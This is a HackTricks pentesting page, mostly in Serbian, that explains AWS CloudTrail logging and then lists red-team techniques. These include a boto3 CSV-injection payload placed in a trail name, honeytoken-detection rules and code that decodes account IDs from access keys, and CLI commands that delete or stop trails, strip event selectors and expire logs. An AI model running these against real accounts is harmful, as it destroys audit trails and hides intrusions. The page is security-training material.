AWS - CloudTrail Enum

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

CloudTrail

AWS CloudTrail beleži i prati aktivnost unutar vašeg AWS okruženja. Zapisuje detaljne logove događaja, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trail promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima.

Svaki zabeleženi događaj sadrži:

  • Ime pozvane API: eventName
  • Pozvana usluga: eventSource
  • Vreme: eventTime
  • IP adresa: SourceIPAddress
  • Metoda agenta: userAgent. Primeri:
  • Signing.amazonaws.com - Iz AWS Management Console
  • console.amazonaws.com - Root korisnik naloga
  • lambda.amazonaws.com - AWS Lambda
  • Parametri zahteva: requestParameters
  • Elementi odgovora: responseElements

Događaji se upisuju u novu log datoteku približno svake 5 minuta u JSON datoteci, drže ih CloudTrail i na kraju, log datoteke se isporučuju u S3 približno 15 minuta nakon.
CloudTrail logovi se mogu agregirati između naloga i između regiona.
CloudTrail omogućava korišćenje integriteta log datoteka kako biste mogli da verifikujete da vaše log datoteke nisu promenjene od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.
Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi.

Logovi se čuvaju u S3 bucket-u. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima.

Logovi se čuvaju u S3 bucket-u sa ovim formatom imena:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Gde je BucketName: aws-cloudtrail-logs-<accountid>-<random>
  • Primer: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Unutar svake fascikle svaki log će imati ime koje prati ovaj format: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Log File Naming Convention

Pored toga, digest datoteke (za proveru integriteta datoteka) će biti unutar iste bucket u:

Agregiranje logova iz više naloga

  • Kreirajte Trail u AWS nalogu u koji želite da se log datoteke isporuče
  • Primijenite dozvole na odredišni S3 bucket omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup
  • Kreirajte novi Trail u drugim AWS nalozima i izaberite da koristite kreirani bucket u koraku 1

Međutim, čak i ako možete sačuvati sve logove u istom S3 bucket-u, ne možete agregirati CloudTrail logove iz više naloga u CloudWatch Logs koji pripada jednom AWS nalogu.

caution

Zapamtite da nalog može imati različite Trails iz CloudTrail omogućenih koji čuvaju iste (ili različite) logove u različitim bucket-ima.

Cloudtrail iz svih org naloga u 1

Kada kreirate CloudTrail, moguće je označiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 bucket:

Na ovaj način možete lako konfigurisati CloudTrail u svim regionima svih naloga i centralizovati logove u 1 nalog (koji treba da zaštitite).

Provera log datoteka

Možete proveriti da logovi nisu izmenjeni pokretanjem

javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.
Imajte na umu da je za omogućavanje CloudTrail-u da šalje logove u CloudWatch potrebno kreirati ulogu koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:

  • CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova
  • PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream

Event History

CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi:

Insights

CloudTrail Insights automatski analizira write management događaje iz CloudTrail tragova i upozorava vas na neobične aktivnosti. Na primer, ako dođe do povećanja TerminateInstance događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju pronalazak i reagovanje na neobične API aktivnosti kao nikada pre.

Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Control NameImplementation Details
CloudTrail Log File Integrity
  • Proverite da li su logovi menjani (modifikovani ili obrisani)
  • Koristi digest fajlove (kreira hash za svaki fajl)

    • SHA-256 hashing
    • SHA-256 sa RSA za digitalno potpisivanje
    • privatni ključ u vlasništvu Amazona
  • Traje 1 sat da se kreira digest fajl (radi se svake pune sate)
Stop unauthorized access
  • Koristite IAM politike i S3 bucket politike

    • bezbednosni tim —> admin pristup
    • auditori —> samo za čitanje
  • Koristite SSE-S3/SSE-KMS za enkripciju logova
Prevent log files from being deleted
  • Ograničite pristup brisanju sa IAM i bucket politikama
  • Konfigurišite S3 MFA brisanje
  • Proverite sa Log File Validation

Access Advisor

AWS Access Advisor se oslanja na poslednjih 400 dana AWS CloudTrail logova kako bi prikupio svoje uvide. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da prikaže kada su usluge poslednji put korišćene. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o usavršavanju dozvola, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja.

tip

Stoga, Access Advisor obaveštava o nepotrebnim dozvolama koje se daju korisnicima kako bi administrator mogao da ih ukloni

Actions

Enumeration

bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Moguće je izvršiti CVS injekciju unutar CloudTrail-a koja će izvršiti proizvoljan kod ako se logovi eksportuju u CSV i otvore u Excel-u.
Sledeći kod će generisati log unos sa lošim imenom Trail koje sadrži payload:

python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Za više informacija o CSV injekcijama, proverite stranicu:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Za više informacija o ovoj specifičnoj tehnici, proverite https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Zaobilaženje detekcije

HoneyTokens zaobilaženje

Honeytokens su kreirani da otkriju eksfiltraciju osetljivih informacija. U slučaju AWS-a, to su AWS ključevi čija se upotreba prati, ako nešto pokrene akciju sa tim ključem, onda je neko morao ukrasti taj ključ.

Međutim, Honeytokens poput onih koje kreiraju Canarytokens, SpaceCrab, SpaceSiren koriste prepoznatljivo ime naloga ili koriste isti AWS ID naloga za sve svoje korisnike. Stoga, ako možete dobiti ime naloga i/ili ID naloga bez da Cloudtrail kreira bilo kakav log, možete znati da li je ključ honeytoken ili ne.

Pacu ima neka pravila za detekciju da li ključ pripada Canarytokens, SpaceCrab, SpaceSiren:

  • Ako se canarytokens.org pojavljuje u imenu uloge ili se ID naloga 534261010715 pojavljuje u poruci o grešci.
  • Testirajući ih nedavno, koriste nalog 717712589309 i još uvek ima canarytokens.com string u imenu.
  • Ako se SpaceCrab pojavljuje u imenu uloge u poruci o grešci
  • SpaceSiren koristi uuids za generisanje korisničkih imena: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Ako ime izgleda kao nasumično generisano, postoji velika verovatnoća da je to HoneyToken.

Dobijanje ID naloga iz ID ključa

Možete dobiti ID naloga iz kodiranog unutar pristupnog ključa kao objašnjeno ovde i proveriti ID naloga sa vašom listom Honeytokens AWS naloga:

python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Proverite više informacija u originalnom istraživanju.

Ne generišite log

Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog napadačkog naloga. Ovo će CloudTrail generisati log unutar VAŠEG AWS naloga, a ne unutar žrtve.

Stvar je u tome da će izlaz prikazati grešku koja ukazuje na ID naloga i ime naloga, tako da ćete moći da vidite da li je to Honeytoken.

AWS usluge bez logova

U prošlosti je bilo nekih AWS usluga koje ne šalju logove u CloudTrail (pronađite listu ovde). Neke od tih usluga će odgovoriti sa greškom koja sadrži ARN ključne uloge ako neko neovlašćeno (honeytoken ključ) pokuša da pristupi.

Na ovaj način, napadač može dobiti ARN ključa bez aktiviranja bilo kakvog loga. U ARN-u napadač može videti AWS ID naloga i ime, lako je znati ID i imena kompanija HoneyToken-a, tako da na ovaj način napadač može identifikovati da li je token HoneyToken.

caution

Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađete svoje...

Za više informacija proverite originalno istraživanje.

Pristupanje trećoj infrastrukturi

Određene AWS usluge će stvoriti neku infrastrukturu kao što su Baze podataka ili Kubernetes klasteri (EKS). Korisnik koji direktno komunicira sa tim uslugama (kao što je Kubernetes API) neće koristiti AWS API, tako da CloudTrail neće moći da vidi ovu komunikaciju.

Stoga, korisnik sa pristupom EKS-u koji je otkrio URL EKS API-ja mogao bi lokalno generisati token i direktno komunicirati sa API uslugom bez da bude otkriven od strane Cloudtrail-a.

Više informacija u:

AWS - EKS Post Exploitation

Modifikovanje CloudTrail konfiguracije

Obriši tragove

bash
aws cloudtrail delete-trail --name [trail-name]

Zaustavite tragove

bash
aws cloudtrail stop-logging --name [trail-name]

Onemogućite višeregionalno logovanje

bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Onemogućite logovanje pomoću selektora događaja

bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

U prvom primeru, jedan selektor događaja je dat kao JSON niz sa jednim objektom. "ReadWriteType": "ReadOnly" označava da selektor događaja treba da hvata samo događaje za čitanje (tako da CloudTrail uvidi neće proveravati write događaje, na primer).

Možete prilagoditi selektor događaja na osnovu vaših specifičnih zahteva.

Brisanje logova putem S3 lifecycle politike

bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifying Bucket Configuration

  • Obrišite S3 bucket
  • Promenite politiku bucket-a da odbije sve upise iz CloudTrail servisa
  • Dodajte politiku životnog ciklusa S3 bucket-u da obriše objekte
  • Onemogućite kms ključ koji se koristi za enkripciju CloudTrail logova

Cloudtrail ransomware

S3 ransomware

Možete generisati asimetrični ključ i naterati CloudTrail da enkriptuje podatke tim ključem i obrisati privatni ključ tako da se sadržaj CloudTrail-a ne može povratiti.
Ovo je u suštini S3-KMS ransomware objašnjeno u:

AWS - S3 Post Exploitation

KMS ransomware

Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole:

AWS - KMS Post Exploitation

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks